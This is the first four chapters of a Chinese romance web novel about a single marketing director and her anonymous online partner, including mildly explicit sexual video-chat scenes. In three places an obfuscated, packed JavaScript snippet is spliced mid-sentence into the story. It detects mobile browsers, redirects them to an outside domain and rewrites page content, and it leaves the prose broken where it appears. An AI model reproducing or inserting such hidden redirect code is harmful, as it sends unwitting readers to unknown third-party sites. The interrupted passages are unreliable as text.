《不雅》 1. 第1章 一二三四五——六,整整六块腹肌,靠胸口这里的白T恤怎么湿了,可这轮廓,难道是……胸肌?哎,这手放得真不是地方,就不能挪开再拍照。 不过这是在干什么呢,脖子上也有汗,是在运动吗? 这个点? “歆总,歆总?” 会议室正提案的广告公司客户经理叫了两声甘歆,伴随着一个春风和煦般的微笑。 “抱歉,有个邮件进来,”甘歆面不改色地抬起头来,继续看向了会议室最前面的幕布,“预算表第四类的第三项,这个需求我们这个阶段不考虑,第五类第二行,这里有额外的税费需要考虑进去,另外第二类的第一项需要按阶段再细化一下,别的我没什么问题。” 春风和煦般的微笑僵了几秒,又继续笑了起来,点了点头,“好的,我们回去调整一下给到。” “行,整体方案还是挺满意的,”甘歆站了起来,礼貌性地朝着那人伸出手,“老段啊,报价单这么重要的东西,还是得你亲手过一下。” “是是,这次提案时间紧张,我回去一定重新再看看。” “我还是很期待和你们合作的。” 叫老段的那个人连握手都激烈了些,甘歆又对着他们寒暄了两句,今天一整天的会议总算完成了。 甘歆没有马上离开会议室,而是趁着人都走了,再次把手机拿了出来,又打开了刚刚那张照片,双指放在屏幕上行放大,仔细看了看。 手应该是从衣服下摆伸进去的,撩起的下摆几乎到腰线以上,手臂上的肌肉线条明显,皮肤也白,就好像是出了一身汗,露出的皮肤显得亮晶晶的。 手指一路往下扒拉了扒拉,照片从腰挪到锁骨这,脖子挺长、不细,看起来很有力量,也覆着一层汗,还有几条水痕,从下往上看的话,应该是从鬓角流下来的。 再往下拉—— 哎怎么就到头了呢。 “姑奶奶,看什么呢,笑成花痴了都。”助理张然敲了门进来,一脸揶揄,“到点了,你不出来都不敢下班,都坐在位置上干熬呢。” “来了来了。”甘歆一手拿起泡着的普洱洋甘菊茶马克杯,一手夹着笔记本电脑从会议室里开了。 “还得是你,开小差还能挑出别人的错来。”张然一脸佩服,一点拍马屁的意思都没有。 “他们这方案来前就改过三四轮,报价单我都能背出来了,说了多少次,总漏改。” 张然肩膀顶了顶甘歆,“你刚刚看什么呢,是那个神秘人吗?” “什么神秘人,人家有名字的。” “哎哟哎哟,”张然起哄的功夫真是一等一的好,“连长什么样都没见过,就开始维护人家了。” “你懂什么,”甘歆对着她挑了个眉,“这叫距离产生美。” “是是是,左右看不见脸,玩饥饿营销还是你行。” 张然虽然是甘歆的助理,但和甘歆是大学同学,还是一个寝室的对铺,毕业后各奔东西,多年没联系了。 前两年张然失业,贸然去做了保险,大着胆子联系已经是业界有名的甘歆,没想到甘歆在她这买了份保险,还给她介绍了这份工作,张然连连感激,甘歆倒是实在,也表示助理得找自己人才放心,两人搭档着一起干了两三年,少有摩擦,也越发熟络起来。 整个公司,其实也就张然敢这么和甘歆说话,有些胆子小的,连被甘歆看一眼,都会默默退到墙边。 甘歆终于坐回了自己的座位,开始收拾起东西来,她的桌子很杂,找件东西都费劲。 这会儿车钥匙又不见了,甘歆来回翻腾着,抽屉开了又开,最后还是在显示器下面找到的,还有别在车钥匙上的一个拼豆钥匙扣,景页送她的。 是个小鲸鱼,薄薄的一片,也不知道这人怎么送得出手。 想到这里,甘歆又笑了起来,拎起包蹬着方根皮鞋离开了。 电梯厅门口等着下班的人不少,大家都一口一个歆总叫着,她也总有回应,还会和大家聊聊天气,但也就止步于此了。 大多数人从一楼离开,甘歆直接进B2的车库。 红色的野马,和她很相称。 坐进驾驶座,她先捋了自己的一头栗红色的长发,从中控小抽屉里拿出一副墨镜挂在自己的藕色丝绸衬衣领口处,接着将挡光板放下来,挪开镜盖,凑上去看了看眼睛。 刚刚好像有根睫毛掉进去了,她仔细看了看,正卡在眼角这,手指挑了一下,就掉到了她小指的指腹上。 景页怎么说的来着? 掉下来的眼睫毛,可以许愿。 甘歆对浪漫的事向来有些过敏,尤其是那些铺张的,都觉得俗气,但唯独这个网友的一些小心思,很对胃口。 她没打算许愿,只是想吹一吹而已。 对着小指指腹吹了一下,得,眼睫毛掉进了她的法式水晶甲里。 她“噗”地一声笑出来了,拿出了手机,打开了联系人叫“景页”的对话框,没有发文字,故意发了条语音过去。 “眼睫毛吹进了指甲里,还好没许愿,可能会事与愿违。” 一张不露脸的照片,配一句许愿并不成功的话,真是“遗憾”到一起去了。 发出去后,她没有再看手机,开车出了地库,将墨镜架在鼻梁上,感受被染上了“底片色”的世界,本就细白的肌肤在墨镜的衬托下更加白嫩,整张脸上只能看到她砖红色的唇。 租的公寓临江,南北通的两室一厅,主卧和客厅朝南,北边的小房间被甘歆做成了书房,楼层挺高,在23层。就是楼有些老旧了,屋子里房东倒是重新修缮了一番,连隔断都换成了玻璃,很敞亮,阳光灿烂的日子里,总是能看见波光粼粼的江面。 唯独有一点不好,停车太麻烦,每次下班回来车位早早都被占了,她实在不想跟着保安的指挥停在犄角旮旯里,宁可花了点钱,在旁边的学校里托朋友长租了一个车位,再过个马路回家。 “回来了啊。” 保安大叔探出个脑袋,对着甘歆笑眯眯的打招呼。 “大哥好啊,回来了,还没下班啊?” 日常和保安聊上两句,是甘歆特意为之。她虽是本地人,但父母都住在市郊,上班不方便,还是自己在外头租了房子,偶尔周末会回去。 刚刚保安回的话甘歆没听清,笑笑就走出了校门,没过马路,拐了个弯到了一家冷鲜超市,今天晚饭还没着落呢,她不爱点外卖,即使没时间,也尽量去便利店买个三明治吃,更多的是自己做。 一盒虾仁,一袋芦笋,一条鱼,犹豫再三还是拿了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627022|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包薯条,结账的时候心里都是雀跃的,连嘴角都忍不住抬了抬,像一只假装没干坏事的猫。 出了超市,就碰到了她租车位托关系的人,她的高中同桌梁越,戴着副眼镜,斯斯文文的,对着谁都和颜悦色,有时候她都怀疑,他这个性格,能不能拿捏这群初中生。 “下班了啊,阿歆。”梁越手里拿着两个塑料袋,显然也是刚买好了东西。 “嗯,下班了,梁老师今天也自己做饭吗?”甘歆笑着对他也抬了抬自己手里的东西。 梁越点了点头,又有些腼腆,连看甘歆都有些回避,“嗯是,我还要去接一下孩子,那我、我先走了。” “好,下次见。” 看着梁越离开的背影,甘歆有些感慨,他也不容易,老婆早年生了孩子后就跟人跑了,离婚闹得沸沸扬扬的,连平时不在同学群里聊天的甘歆都听说了,最后他一个人抚养孩子,挺可怜的。 她轻轻叹了口气,转过身摇了摇头,幸好自己三十多年来坚持不婚,虽然也熬跑了一两个前男友,但她不觉得可惜,毕竟他们各有各让她无法忍受的缺点,谈恋爱隔三差五见个面还能当看不见,真结婚了,保不齐会憋屈,她一点憋屈都不想受。 这两年是恋爱都不想谈了,费时间、费精力,有的时候还得配合着演,实在是累,索性那些暧昧的、追求的都一刀切,还自己一个清净。 回到家后换了家居服,将隐形眼镜拿了下来扔掉,换上了茶色树脂边框的眼镜,她就去厨房忙活了。煎了个芦笋炒了个虾仁,又给自己做了一锅鱼汤,最后把薯条放进了空气炸锅里。 喝完一碗鱼汤,薯条的香气溢到了客厅,甘歆觉得人生真是幸福。 叮叮—— 手机响了。 她在空气炸锅和在沙发上的手机之间犹豫了一下,还是先去看了眼手机,是景页发来的信息,依旧是文字。 “到家了吗,我好想你。” 甘歆皱了皱眉,把手机放下了,刚往厨房挪了两步,又走了回来,拿起手机去了洗手间。 再不想恋爱的人,也会被激素支配,短短的这八个字,就已经让她起了旖旎,她认真洗了个手,又脱了衣服裤子简单冲了个澡,身上的水汽还没完全消失,裹了个浴巾就出来了,特意没穿鞋,赤足踏在地板上,雪白莹润的脚趾前端是烈焰红。 走进卧室,她背对着床,整个人向后倒去,床垫绵软,凹了一下又将她托了起来,浴巾在抻拉过后松开了。 还没到立夏,她却觉得有些热。 她和景页从未见过,只在网上聊天,严格来说,算不得网恋,只是会分享一些日常,以及——互相勾引。 景页从不和她说话,两人从天南地北聊到人生哲学,也会给她发各种各样的照片,高山、云海、城市的最后一缕光,还有他没有脸的自拍照,白衬衣、卫衣、薄毛衣…… 他身材好得不像话,宽肩窄腰、腿也很长,连脚都显得性感。偶尔也会和她无声视频,但只是单方面的。 甘歆从未给他看过自己,连头发丝都没发过,只凭一张嘴、一副可甜可御的好嗓子,就能让景页打出激烈的文字来。 最初甘歆是在一个大家一起看线上电影的群里被景页加了好友的,申请理由是——“您刚刚的麦没关。” 2. 第2章 甘歆也不知道,事情怎么会朝着这方面发展,起初他们只是偶尔会发个消息,后来频次逐渐增多。 好像是有一天,景页发了一张高糊的跑步照片过来,应该是自拍的,对着胸口向下拍的那种,能清晰地看胸肌的轮廓,还有肩窝那边的凹陷,腿很长、又直,运动短裤遮在膝盖之上,能清晰地看到边缘处的大腿肌肉线条。 兴许是那天应酬喝了酒,有些上头,她几乎没过脑子,就给人发了个语音条过去,是夸他身材好还是质问为什么发照片她已经不记得了,但清晰地知道,语音条刚发出去,那张照片就撤回了。 景页说他不好意思,甘歆却觉得他是故意的。 本来两人对话大多是在说电影,偶尔景页会发些景色照片来,甘歆认得出,他和自己在一个城市,虽然她特意把自己的城市隐藏了,但她认准了景页也知道,因为他总是滴水不漏,聪明得有些过头。 事实证明,景页确实是故意的。 他后来愈发大胆起来,明目张胆地给自己发照片,还会问她觉得怎么样,甘歆有一次开玩笑问他,是到底希望自己真实评价,还是夸他帅,景页沉默了很久,回了几个字给她。 “只是想吸引你。” 甘歆对事物的观察很细致,从这些照片里,她知道景页一定比她小一些,那种活力,三十多岁的人很少见。不知是不是太久没恋爱,身体比心更快躁动起来,回过神来后的她,都觉得自己像个太久没汲取精气的老巫婆,她都给自己气笑了,思索了一下,回了更暧昧的一句话给她。 “如果吸引到了呢?” 后面那句话景页发得很快,好像早就在文字框里打好了一样,几乎是秒回,大胆热烈,文字上都包着火。 “那我可能会做一些,坏事。” 这句话的意思明显,甘歆没觉得恶心,却好像被勾出了埋没了许久的欲念,她没有放下手机,而是鬼使神差地,一个字母一个字母地敲了一句话过去。 “做什么?” 这次景页回得很慢,“正在输入”了很久,停了几下又“正在输入”了一会儿,反复了几次,回过来的话让甘歆忍不住笑了出来。 “你不会想知道的。” 甘歆心跳得有些厉害,过往的恋爱经历都很传统,就连床上那点事花样都很少,更不用提这种“刺激”。 “如果我想知道呢?” 这句话让两个人之间的聊天变了性,就好比现在,甘歆躺在床上,左手已经抚上了脖颈,已经忘记了刚刚才做好的晚餐,眼神都迷离了起来。 她总是觉得发生这样的事不好,每次事后都会懊恼,并且反复警告自己下次不能再发生了,可总被景页的文字攻城略池。 寥寥几个字就能让她再次失守。 “把手机放到床头的懒人支架上,这样能看见我。” “耳机戴好了吗?” “别太重,轻一点。” “我没办法打字了,你要等我。” 他们的放肆里藏着克制,景页从不说话、也不露脸,摄像头就对着胸口,景页仿佛在城市里夜跑,节奏和频率都能通过他的颤动判断,快快慢慢,而甘歆就跟着他的节奏在后面。 她不开摄像头,插着耳机只是为了方便景页听到她的声音,可她这会儿连声音都吝啬给他,只有空茫的安静,和偶尔泄出的气息。 画面上的景页似乎跑到了尽头,像是撑着膝盖平喘气息的少年,还在细小地颤抖,接着是极大程度的反复喘息,直到渐渐平静。 甘歆早已软在榻上,眼尾有些湿气,有些热,她觉得脸一定红了,刚刚咬着的嘴唇也好像肿了一些,但幸好,这些景页都看不到。 那边的手机动了一下,应该也是从支架上拿了下来,接着屏幕上就出现了一个红色爱心的表情。 这是景页的习惯,完事后总是会给她一点“爱”。 “舒服了?” 甘歆的话里藏了些调笑。 “其实不够的。” 打过来的字看着不强硬,她却品不到一点谦虚。 “那你还想怎么样?” 视频的时候,无法显示“正在输入”标签,甘歆只能等着他的文字发过来,顺便取了床头的湿巾纸料理自己,又站起来将浴巾裹上,穿上绵软的拖鞋走到客厅,手指拈了一个虾仁送到嘴里。 凉了,但味道却不坏。 她很确定,如果景页发过来的是更进一步的要求,那下一个凉的,应该就是他。 “这样就很好。” 甘歆笑了笑,挺好,保持距离、保持神秘,不谈恋爱,只是保持一种“精神上的肉.体关系”,这种感觉让她感觉很不错,即使少了些腹肌相亲,也少了大多数麻烦。 “挂了,我要去吃晚饭了。” 没等景页回复,甘歆就按下了那个红色按钮,切断了单方面的无声视频,她还是不太习惯在事后坦然面对,玩笑不是、温存不是,还是挂了的好。 景页也没有追着说什么,而是在半小时后,拍了一张换好了休闲服的上身过来,“我也去吃饭。” 甘歆没有回。 每一次这么做之后,她总是有那么一段时间,不想再与他联系。 打开电视就着热播大剧,两集过去了,都没注意里头的情节,芦笋和虾仁倒是吃完了,鱼汤喝了一半,一个人实在有些喝不下。 她将剩下的鱼汤和鱼肉分别打包到了两个打包盒里,和刚刚整理出来的垃圾一起拎在手上出门。 她习惯喝鱼汤的时候在碗里放盐,锅里都是淡的,这样剩下后可以喂楼下的流浪猫,就是它们呆的地方实在杂草横生,还有些枯条,一个不注意总会被划一下。 一身轻的甘歆回到楼内等电梯,身后逐渐有个高大的阴影,那人穿着米色的休闲服,丹宁色的牛仔裤,还有双白色的板鞋,斜跨着一个包。 甘歆无意识地抬头看了一眼,这人戴着普通的蓝色医用口罩,露出的眉眼倒是深邃,尤其那双眼睛,眼眸如漆,睫毛也长,很有吸引力。 但当他眼睛往下偏一点就要撞上视线的时候,甘歆低了一下头,没让他发现。 八点多了,电梯里就他们俩,甘歆贴在轿厢最里头,暗暗打量面前人的后背,欣长挺拔,就是这外套总感觉有些熟悉,可怎么想都想不出来到底是哪儿见过。 电梯到了17楼,男人从电梯里跨出去了,电梯门关得不快,甘歆听到了一个阿姨热情的声音。 “小齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627023|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来啦,不好意思,我们家月考成绩下来了,物理真的是一塌糊涂呀!快帮帮忙看看怎么样才能和你一样考上985,这个小孩真的是……不要看电视了!” 随着最后一声吼,电梯门关上了。 甘歆皱了皱眉,脑子里起了个疑问,现在大学生这么高了吗? 回到家后,她没碰手机,像是刻意疏远一样,空着手进了书房,将嵌在书架里的平板拿了出来,连上了蓝牙音响,随手点开了推荐歌单,轻音乐从音响里头泻出来,她长长地呼了一口气,找了本书窝在懒人沙发里。 书实在是迷人,都把她迷晕过去了。 甘歆是被冷醒的,半夜还是凉,她睁了睁眼睛,又张开双手伸了个懒腰,像个睡蒙了的猫咪,站起来的时候还有些迟钝。 走到厨房里喝了杯水清醒了些,抬头看了眼客厅里的猫头鹰挂钟,才发现已经凌晨一点了。 傍晚的那场休闲太累了么?甘歆低头自嘲地笑了笑,半夜的自己总是更严格一些,她觉得自己好像就是那种言行不一的人,叫嚣着不要恋爱,却一次又一次败在欲念里。 她又去洗了个澡,不同之前的草草了事,而是认真仔细地搓洗着,完事后全身都抹上了身体乳,面膜、手膜、脚膜,就连护法精油都没忘记。 她知道,别人不会提醒她的年龄,但身体会。 三十三岁了,真是神奇,自己还觉得和二十多没什么两样,可周围的人好像都变了,尤其是父母,一不留神就六十了。 二十七八的时候,父母还催过婚,甚至直接肯定了自己的前男友,甘歆觉得好笑,自己都没带人回家过,二老怎么就这么给面子。 分手的时候她也没瞒着,直接说了不合适。 爸妈的反应没有想象中的激烈,更没有像急得没方向的蚂蚁一样给她张罗相亲,只是偶尔和亲戚往来后,才会念叨两句。 这两年随着自己独身习惯了,爸妈也不再提这事,从关心有没有人陪她度过晚年,到关心她眼下过得好不好,有没有好好吃饭,甘歆觉得爸妈也成长了,她很享受这样的日子。 轻松,没有负担,就像电视剧里老师植入软广的酸奶般轻盈。 这个觉来得突然,眼下半夜倒有些睡不着了,还是起身去客厅拿回了手机,有几条消息在锁屏上。 先是张然的,提醒她明天要去F大看举办论坛活动的场地,一个小时后又不好意思地说明天想请半天假,儿子发烧了,上午看完后就赶到学校去。 甘歆斜靠在床上,回复她说别着急,安心在家呆一天,系统上就别请假了,反正也是跟着她外出,无所谓的。 接着是老妈发过来的微信,点开语音条她的声音中气很足,听着比他们公司的实习生还要有活力,话里话外无非老三样,多喝水、要吃饭、早点睡。 她可不敢在这会儿回,明天早上非得收到电话轰炸不可,也可能晚上直接能在家里看见老太太来查岗,那可就是大阵仗了。 最后那个红点其实是最早看见的,但她故意没有点开,甚至还收敛了视线没去看简短的消息提示。 还是点开了景页的对话框。 竟然是不久前才发来的,只有两个字。 “晚安。” 3. 第3章 断层觉其实睡得并不舒服,第二天早上起来的甘歆觉得有些头疼,看到空气炸锅才想起来里面还有一锅薯条没拿出来,她没去管,晚上回来热一热吃吧再。 从前她热衷手磨咖啡,现在却觉得有些麻烦了,胶囊咖啡机三十秒就搞定的事,她实在懒得折腾十几分钟。一杯浓缩下去,又去洗了脸化了妆,直到换好衣服才觉得清醒了些。 出门前在鞋柜前选了许久,正白修长的脚在两双高跟鞋中流连了几下,最后还是穿上了带着细闪的纯白色板鞋,毕竟是去学校,总得带点儿青春气息。 她住的地方打车不太方便,总得要过个马路去学校那边,早高峰车水马龙,学校门口停得到处都是电瓶车,还有几辆停在路边的车,甘歆看了看时间,有些紧张了。 “阿歆,要打车吗是?” 梁越的途锐停在了她面前,放下车窗问她。 “梁老师?是啊,还没打到,你上班啊,好早啊。” “去哪里,我送你?” 本来应该拒绝的,可听说对方教授实在是个守正有序的人,担心迟到会有不好的影响,她犹豫了一下才开口,“F大,会耽误你上班吗?” “没事,我上午没课,上车吧。” 甘歆没客气,打开副驾就坐了上去,系好了安全带才对着梁越笑了笑,“不好意思啊,是有点赶时间,谢谢你。” “不用客气,”梁越整个人都透着斯文,脸的轮廓也不锋利,连眼神也一直是温润的,“这个时候去F大坐地铁的确也不方便。” “是的……哎,大学教授竟然也有早八。” 梁越笑了笑,放在方向盘上的手转了一下,顺滑地拐了个弯,“学校里,都是这样。” 两个人坐着,都没说话,一起透着车的挡风玻璃看前面,甘歆好几次想找些话题,可总不知道要说什么好,天气就在眼前、吃没吃早饭这会儿也在高架上,总不能打听他们教师待遇吧。 “我话少,你别介意。” 梁越好像看穿了甘歆的不自在,先解释了起来。 “不介意的。” 又沉默了下去,幸好没多久,甘歆就看见了高架的下匝道口,觉得突然有救了,这样长久的沉默的确让她有些坐立不安,要不是F大周围的停车场经常满停,她就自己开车来了。 下车前,梁越将一个塑料袋放到了甘歆手里,“没吃早饭吧,这个给你。” 甘歆愣了一下,下一秒就笑了起来,“梁老师真是细致入微,留着吧,你也没吃。” “没事,我回去路上再买,学校里买东西不方便,忙一上午该低血糖了。”他还是将塑料袋放到了甘歆手里,“这里不好停车,我先走了,回见啊。” “啊,好,谢谢啊,回见!” 甘歆站在校门口,真像一个被送来上学的学生一样,有些木然地打开了刚刚到手的塑料袋,里面竟然放着她经常买的金枪鱼吐司,眉毛不经向上挑了一下。 没动口,甘歆翻开了和张然的聊天记录,将二维码凭证找了出来,在校门口的保安室扫了之后进了校园。 说实话,十五年前的景象和现在并没有什么不同,只是现在更干净了些,花草树木更规整了,楼大多也都翻新过了,道路比以前宽,但方向都没变,她还是很熟悉。 但这次不是以毕业校友的身份来的,而是活动的承办方负责人,她和教授约在了三号教学楼的教师休息室,她对三号楼的印象不太好,桌椅板凳都是硬的,尤其一楼还阴冷,但这次是教授选的地方,也不好多说什么。 张然给自己发了微信,说三号楼斜对面有一家瑞幸,她已经点了四杯咖啡,两杯美式两杯拿铁,让甘歆带上,她回了一个“赞”的表情,这样的细致活儿,甘歆是想不到的。 顺路取了咖啡,甘歆走到一楼的教师休息室门口,门溜了条缝隙,她站定了刚想敲门,门就被打开了。 面前站着一个男生,她几乎要仰起来才能看清他的脸,下巴很干净,下颚线也很利落,嘴唇不厚也不薄,再往上看,才对上了那双深邃的眼睛,其实这些动作是在一瞬间完成的,但好像世界都慢下来了。 很帅气,看起来也很沉稳,还透着些青涩。 “不好意思,”甘歆往后退了一步,整理好表情微微一笑,“我找徐老师。” 男生这才从讶异中回过神来,随即也往后退了一步,把门拉开得大了些,“是学姐吗?” 甘歆对着这个称呼反应了好一会儿,才点了点头,笑着说是。 “请进,抱歉,刚刚想去门口接学姐的。” 男生虽然说着抱歉,但口吻很淡,甘歆没觉得他有多少诚意在里面,但到底是来刷脸的,还是把自己的性子摁下去了。 “没事,我以前也在这里上课,很熟。”甘歆往休息室里看了一圈,“徐老师还没来吗?” “嗯,”男生引甘歆进了休息室,领她到一个单人沙发边上,“学姐请坐,我给您倒杯水。” “不用,”甘歆提了提手里的咖啡,“请你喝咖啡。” 男生有点懵,先下意识将甘歆手里的东西拿了过去放到桌子上,“挺重的,谢谢学姐,四杯?” 甘歆眨了眨眼睛,难得露出了些俏皮,“啊,我怕不够。” “学姐没吃早餐吗?”男生的眼睛落到了甘歆手里的便利袋塑料袋上。 甘歆有些尴尬,但现在要把它藏进包里已经晚了,只好点头,“……早上有点赶。” “我给您热一下,”他自顾自地走到了甘歆身边,将她手里的塑料袋拿走了,“您稍等。” 直到男生出门,甘歆才松了一口气,工作后,她见过形形色色的场面,倒是第一次被一个小男生弄得有些紧张,咖啡是买来送人的,也不好别人没动自己先拿一杯出来喝,她就只能坐在沙发上干等。 拿出手机无聊看了看,一早上除了张然只有小区的物业群在那喊,谁谁的车堵在了哪哪,赶紧下来挪一下,拇指上下滑动,又掠到了景页的对话框,他的“晚安”后,再无他话,甘歆又往上翻了翻,他们几乎聊一阵,就会来一场荒唐事,她咬着嘴唇笑着摇了摇头,表情里透出一股无奈来。 教室休息室的门又被打开了,男生走了进来,往她手里放了个金枪鱼三角饭团,又去桌边给她拿了拿铁,“便利店的人操作失误了,那个三明治弄到了地上,您将就吃这个行吗?” 甘歆接过来看了看,笑着回他:“谢谢,我还挺喜欢吃这个的。” 男生的表情慢慢缓和了下来,坐到了长条沙发上的一边,此时才露出了些大学生该有的腼腆来,“忘了给学姐做自我介绍了,我叫齐灏,今年大三,徐老师是我的导师,目前也在团委任职。” “你好,我叫甘歆,是这次活动的主要负责人。” 齐灏盯着甘歆看了一会儿,一直没挪眼,甘歆忍不住打趣他,拿着饭团抬了抬,“你也想吃?” “不是,没有,”齐灏这才收回目光,两手手臂搁在膝盖上交叉握着,“我吃过了。” 甘歆没接话,从容地吃着这个小学弟给自己买的饭团,她从来信奉一句话,只要自己不尴尬,就不用管别人尴不尴尬,类似小学弟这样的视线回避也不是第一次经历,并没有觉得不自在。 吃完后,她刚想起身,齐灏就先一步把她手里的塑料垃圾拿走了,“垃圾桶在中间的楼梯那,有点远,我去就好。” “谢谢。” 她长得漂亮,笑起来更是明媚,岁月对她尤其温柔,皮肤光洁,几乎看不见细纹,太阳穴这里都充盈饱满,随着年岁的增长,还赋予了她很多年轻人并不具备的气质与风情。 欣赏她的人很多,喜欢她的也不少,就是这两年,敢追她的人少了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627024|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人提起来,都是晟宇集团的市场营销部总监,这个抬头一砸下来,敢和她谈“私事”的男性越来越少,甘歆挺无所谓的,本来就没结婚的打算,倒是已婚的老男人容易对她起别样的心思,这让她有些困扰,但到底还是在行业内有些分量,大多都有色心没色胆。 教师休息室的门被风吹开了,齐灏正迈步走进来,他逆着光,甘歆有些看不清他脸上的表情,但身高轮廓觉得有些眼熟,尤其是他的那条牛仔裤,她想起来了。 “昨天晚上你是不是去过一个临江的公寓楼?” 甘歆承认,这句话她没过脑子就说出来了,刚刚才认识的人,即使人家去过,这么问还是有些冒昧。 齐灏看向甘歆的眼神很坦然,表情都没有变,“没有。” “哦,”甘歆不好意思地笑笑,“昨天我在家里电梯里遇见个人,好像和你穿的是同款的裤子。” 齐灏低头看了一下,抬起头来的时候有了些笑意,但甘歆弄不清,他是因为觉得巧合而高兴,还是因为自己认错了而有些嘲弄,“这条裤子还挺,普通的?” “啊,是是。”甘歆喝了一口咖啡来缓解自己的莽撞。 休息室的门又开了,甘歆松了一口气,站起来打招呼,“徐老师,您好,我是甘歆。” “你好你好,”徐老师快步走过来握了握甘歆的手,打趣道,“是老陈的学生吧,嗐,一看就是老陈的学生,他这个人啊,这么多年,还是喜欢收编美女学生。” “哈哈,”甘歆礼貌地笑了笑,把话题绕开了,“陈老师现在还在学院里任课吗?” “任,本硕博都带,说是给孙女攒奶粉钱。”徐老师笑得开,又转了话题,“你们认识过了吗,这是齐灏,活动后面的具体安排,你直接找他就行。” “好嘞,开场致辞还是由您来?” “我来多不像话,”徐老师推脱着,“等着我去请一下院长,排场还是要有的。” “您也是重量级的呀!”甘歆笑着回应,听不出一点讨好的意思,“那圆桌得您来主持,您在这个领域算是领头人了,见识广、见解深,可不能再推脱了。” “哎,保障住房的确是个大问题啊……”徐老师摆出了老教授的姿态,叹了口气,“的确是难。” “是,所以晟宇还是想请社会各界人士来探讨一下原因和未来的解决方案,真正为社会做出些贡献。” “你们有这份心,老百姓要感谢你们啊!” “哪里哪里,我们也是跟着您们的研究报告去做规划,您们才是先驱。” 言语捧用之间,两人已经基本将活动的流程敲了个大概,不知不觉已经过去了一个多小时,期间大多是徐教授说,甘歆在那听,只在活动流程上发表意见,完全尊重了对方的学术态度,这让徐教授很受用。 “今天有些仓促,我中午还约了学生,下次我们约个饭?” “行,谢谢徐老师,今天受益良多。” 徐教授走之前和齐灏轻声说了两句话,又和甘歆再打了个招呼就出去了,甘歆也站在门口送着,聊得顺利,她脸上笑意也不减,对齐灏说:“我请你吃午饭?” 齐灏整个人看起来都冷,甘歆以为他会拒绝的,却没想到答应了下来,“食堂行吗,我下午还有课。” “可是我没校园卡。”甘歆有些犯愁,他们学校什么都好,就是食堂只能刷卡。 “我有,”齐灏眉毛抬了一下,“你可以转我微信。” 也是个办法,甘歆二话不说掏出了手机,“我扫你?” 齐灏亮了二维码,头像是一只帅气的德牧,甘歆扫了之后点了添加,齐灏那边就通过了。 “你这个昵称挺有意思的啊?”甘歆笑着说。 齐灏不太明显地舔了下嘴唇,“还行吧。” 这么酷的男生,昵称竟然叫“缺水”。 4. 第4章 “你昨天没来亏了啊,是个挺帅的小男生接待的。” “拜托,你什么时候能够意识到我是有老公的这件事。” 次日中午,甘歆和张然在公司对面商场的一家西餐厅吃简餐,聊着昨天的事,正事两三句话都交代完了,剩下的就让张然布置给下面的项目负责人做流程就好。 八卦倒是说了一堆,从说那个男生帅,一直到嘲笑这么帅的小帅哥居然有个奇奇怪怪的微信昵称,甘歆还特意拿出手机来给张然看。 “现在的小孩反差这么大的吗,我要是他妈我可愁死了,都不知道要怎么沟通。” “你现在担心你儿子是不是太早了点,幼儿园还没毕业呢。” 张然凑过去对着甘歆坏笑,“歆总这是动凡心了,还是馋了?” “你们已婚人士说话这么直白的吗,”甘歆被她说得止不住笑,“我馋什么啊,我馋你碗里的牛肉还差不多。” “哦——”张然故意拉长了声音,叉上牛肉放到了甘歆的餐盘里,“歆总这是馋肉了。” 甘歆哎呀哎呀地揶揄她,“你是英年早婚,有老公疼,天天疼你是不是?来让我看看你脖子上有没有印儿。” 张然被她臊得脸都红了,赶紧转移话题,“你不是有神秘人吗,精神食粮充足。” “看得见摸不着啊。”甘歆假装可惜,抿着嘴摇头笑了笑。 “真让你摸着了你又不干了,女人心海底针啊,”张然来了兴趣,都凑上来了些,“和神秘人比,谁长得比较帅?” “那肯定——”甘歆刚想脱口而出神秘人,到了嘴边又咽回去了,“我又没见过神秘人的脸,不好说。” “哎呦,没见过人脸都不肯承认没人家男大帅,”张然眼珠子一转,又问,“那身材呢,和神秘人比谁更好一点?” “那必须——”甘歆又犹豫了,“我也没见人家男大的身材啊,只知道人家长得高,肩挺宽的,穿着个宽松的衣服,也见不着腰啊。” “嗯?”张然好像捕捉到了些什么,“你见过神秘人的腰?” 甘歆自知说漏嘴了,脑子里却立刻闪现进了景页的腰腹,轮廓明显、紧致,连肚脐都很性感,有的时候会擦到人鱼线,还会露出少许的耻.毛来,尤其在和她“对峙”的时候,偶尔还能看见上面覆着一层薄汗,真让人……嗯,垂涎欲滴。 “他有的时候会穿衬衫嘛,下摆就束进西裤里了啊。” 张然收回了贼贼的眼神,一副“我懂的你不用多说”的表情,不接甘歆的话茬,整得甘歆觉得耳后都有些发热,好像暗地里做的那些事就要被发现了一样。 “对了,歆总,后续要我对接吗,你把那个小男生微信推给我吧,细节上我来敲,别耽误你干大事。” 